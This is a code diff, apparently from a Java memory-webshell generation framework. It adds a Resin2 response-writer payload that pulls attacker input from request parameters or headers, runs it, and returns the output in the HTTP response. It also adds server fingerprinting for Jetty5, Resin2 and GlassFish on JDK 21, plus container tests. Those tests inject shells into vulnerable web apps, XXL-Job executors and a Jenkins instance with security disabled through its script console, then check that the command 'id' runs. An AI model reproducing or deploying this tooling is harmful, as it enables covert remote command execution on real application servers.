if (StringUtils.isNotBlank(base64Bytes)) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
@@ -82,35 +92,32 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
}
private Class<?> getWriterClass() {
switch (probeContentConfig.getServer()) {
case Server.SpringWebMvc:
return SpringWebMvcWriter.class;
case Server.Jetty:
return JettyWriter.class;
case Server.Tomcat:
case Server.JBoss:
case Server.BES:
return TomcatWriter.class;
case Server.TongWeb:
return TongWebWriter.class;
case Server.Resin:
return ResinWriter.class;
case Server.Undertow:
return UndertowWriter.class;
case Server.GlassFish:
case Server.InforSuite:
return GlassFishWriter.class;
case Server.WebSphere:
return WebSphereWriter.class;
case Server.WebLogic:
return WebLogicWriter.class;
case Server.Apusic:
return ApusicWriter.class;
case Server.Struts2:
return Struts2Writer.class;
default:
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
Class<?> writerClass = WRITER_CLASSES.get(probeContentConfig.getServer());
if (writerClass == null) {
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
}
return writerClass;
}
private static Map<String, Class<?>> createWriterClasses() {
Map<String, Class<?>> writerClasses = new LinkedHashMap<>();
writerClasses.put(Server.Tomcat, TomcatWriter.class);
writerClasses.put(Server.Jetty, JettyWriter.class);
writerClasses.put(Server.Jetty5, JettyWriter.class);
writerClasses.put(Server.Undertow, UndertowWriter.class);
writerClasses.put(Server.JBoss, TomcatWriter.class);
writerClasses.put(Server.Resin, ResinWriter.class);
writerClasses.put(Server.Resin2, Resin2Writer.class);
writerClasses.put(Server.WebLogic, WebLogicWriter.class);
writerClasses.put(Server.WebSphere, WebSphereWriter.class);
writerClasses.put(Server.GlassFish, GlassFishWriter.class);
writerClasses.put(Server.TongWeb, TongWebWriter.class);
writerClasses.put(Server.BES, TomcatWriter.class);
writerClasses.put(Server.InforSuite, GlassFishWriter.class);
writerClasses.put(Server.Apusic, ApusicWriter.class);
writerClasses.put(Server.SpringWebMvc, SpringWebMvcWriter.class);
writerClasses.put(Server.Struts2, Struts2Writer.class);
return writerClasses;
}
static class getDataFromReqInterceptor {
@@ -118,15 +125,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
} catch (Exception e) {
ret = null;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
ret = p;
}
}
@@ -135,22 +151,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception e) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
}
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
}
}
@@ -158,7 +185,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public @interface ValueAnnotation {
}
}
@@ -27,6 +27,10 @@ public class ServerProbe {
classNames.add(traceElement.getClassName());
}
}
if (classNames.contains("org.mortbay.http.HttpConnection")
|| classNames.contains("org.mortbay.http.HttpServer")) {
return ret = "Jetty5";
}
if (System.getProperty("jetty.home") != null
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
return ret = "Jetty";
@@ -54,13 +58,21 @@ public class ServerProbe {
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
if (System.getProperty("resin.home") != null
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
return ret = "Resin";
}
if (System.getProperty("resin.home") != null
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
return ret = "Resin2";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
if (System.getProperty("AS_INSTALL") != null) {
if (System.getProperty("AS_INSTALL") != null
|| System.getProperty("com.sun.aas.installRoot") != null
|| System.getProperty("glassfish.version") != null) {
return ret = "GlassFish";
}
if (System.getProperty("jboss.home.dir") != null
@@ -156,7 +156,15 @@ public class GlassFishFilterProbe {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
@@ -166,6 +174,40 @@ public class GlassFishFilterProbe {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@@ -32,7 +32,7 @@ public class GlassFishWriter {
// GlassFish4+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object blocker = getFieldValue(thread, "blocker");
Object blocker = getThreadBlocker(thread);
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
continue;
}
@@ -62,6 +62,19 @@ public class GlassFishWriter {
}
}
private Object getThreadBlocker(Thread thread) {
try {
return getFieldValue(thread, "blocker");
} catch (Throwable ignored) {
try {
// JDK 21+
return getFieldValue(thread, "nioBlocker");
} catch (Throwable ignored2) {
return null;
}
}
}
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
@@ -0,0 +1,172 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Set;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2Writer {
private static boolean ok = false;
public Resin2Writer() {
if (ok) {
return;
}
try {
Object request = getCurrentRequest();
if (request == null) {
return;
}
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
ok = true;
}
}
private Object getCurrentRequest() {
Thread currentThread = Thread.currentThread();
Object request = getRequestFromThread(currentThread, currentThread);
if (request != null) {
return request;
}
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
request = getRequestFromThread(thread, currentThread);
if (request != null) {
return request;
}
}
return null;
}
private Object getRequestFromThread(Thread thread, Thread currentThread) {
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (Throwable e) {
try {
target = getFieldValue(getFieldValue(thread, "holder"), "task");
} catch (Throwable ignored) {
}
}
return getRequestFromTarget(target, currentThread);
}
private Object getRequestFromTarget(Object target, Thread currentThread) {
if (target == null) {
return null;
}
Object request = null;
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
request = target;
} else {
try {
request = getFieldValue(target, "request");
} catch (Throwable ignored) {
}
}
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
return null;
}
try {
Object requestThread = getFieldValue(request, "_thread");
if (requestThread != null && requestThread != currentThread) {
return null;
}
} catch (Throwable ignored) {
}
return request;
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -114,6 +114,8 @@ public class CommonUtil {
public static String getWebPackageNameForServer(String server) {
switch (server) {
case Jetty5:
return "org.mortbay.jetty.servlet.handlers";
case Jetty:
return "org.eclipse.jetty.servlet.handlers";
case Undertow:
@@ -128,6 +130,8 @@ public class CommonUtil {
return "weblogic.servlet.internal.handlers";
case Resin:
return "com.caucho.server.dispatch.handlers";
case Resin2:
return "com.caucho.server.http.handlers";
case BES:
return "com.bes.enterprise.webtier.web.handlers";
case Apusic:
@@ -148,4 +152,4 @@ public class CommonUtil {
public static String getSimpleName(String className) {
return className.substring(className.lastIndexOf(".") + 1);
}
}
}
+6 -6
View File
@@ -1,5 +1,5 @@
[versions]
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
asm = "9.10.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
@@ -15,12 +15,12 @@ alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
byte-buddy = "1.18.11" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.4.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
@@ -75,4 +75,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
@@ -8,4 +8,4 @@ services:
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jboss/server/web/deploy/app.war
@@ -0,0 +1,10 @@
services:
jetty5110:
image: reajason/jetty:5.1.10-jdk6
ports:
- "8888:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jetty/webapps/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/resin2/webapps/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.0.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.0.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.1.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.1.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -16,6 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile servlet2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-servlet2", "build", "libs", "vul-webapp-servlet2.war").toAbsolutePath(), 0666);
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
@@ -447,6 +447,7 @@ public class ShellAssertion {
case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -6,6 +6,7 @@ import okhttp3.*;
import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -78,6 +79,23 @@ public class VulTool {
}
}
@SneakyThrows
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
OkHttpClient client = new OkHttpClient();
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Connection", "close")
.build();
log.info("sending hessian2 xxl-rpc request to: {}", url);
try (Response response = client.newCall(request).execute()) {
log.info("xxl-rpc hessian2 response code: {}", response.code());
Thread.sleep(1000);
}
}
@SneakyThrows
public static void xxlJobExecutor(String url, String data) {
OkHttpClient client = new OkHttpClient();
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish8ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:8.0.3-jdk21",
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -22,6 +23,7 @@ public class Jboss510ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
"reajason/jboss:5-jdk6",
"/usr/local/jboss/server/web/deploy/app.war")
.warFile(ContainerTool.servlet2WarFile)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
@@ -0,0 +1,175 @@
package com.reajason.javaweb.integration.memshell.jenkins;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class JenkinsJetty2575JDK21ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.imageName("jenkins/jenkins:2.575-jdk21")
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
.server(Server.Jetty)
.jakarta(true)
.serverVersion("12")
.targetJdkVersion(Opcodes.V17)
.contextPath("")
.healthCheckPath("/login")
.assertLogs(false)
.waitStrategy(Wait.forHttp("/login").forPort(8080))
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.testPackers(List.of(Packers.Groovy))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.enableJspPackerTest(false)
.build();
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
Path.of("script", "disable-security.groovy").toAbsolutePath());
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Override
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
String url = getUrl();
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectByScriptText(url, payload);
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
}
@Override
protected void runProbeInject(ContainerTestConfig config, String shellType) {
String url = getUrl();
String shellTool = ShellTool.Command;
Packers packer = Packers.Groovy;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
if (urlPattern != null) {
shellUrl += "testProbe";
urlPattern += "testProbe";
}
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
? config.getTargetJdkVersion()
: config.getProbeTargetJdkVersion();
ShellConfig shellConfig = ShellConfig.builder()
.server(config.getServer())
.serverVersion(config.getServerVersion())
.shellType(shellType)
.shellTool(shellTool)
.targetJreVersion(probeTargetJdkVersion)
.debug(false)
.probe(true)
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(urlPattern)
.staticInitialize(true)
.build();
String paramName = "tomcatProbe" + shellType;
CommandConfig commandConfig = CommandConfig.builder()
.paramName(paramName)
.build();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
String res = injectByScriptText(url, payload);
assertThat(res, anyOf(
containsString("context: "),
containsString("server: "),
containsString("channel: "),
containsString("namespace: ")
));
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
}
@SneakyThrows
private String injectByScriptText(String url, String payload) {
RequestBody requestBody = new FormBody.Builder()
.add("script", payload)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/scriptText")
.post(requestBody)
.build();
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
String body = response.body().string();
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
return body;
}
}
private boolean isScriptTextResponseOk(String body) {
String normalizedBody = body.toLowerCase(Locale.ROOT);
return !normalizedBody.contains("groovy.lang.missing")
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
&& !normalizedBody.contains("script1.groovy")
&& !normalizedBody.contains("exception");
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
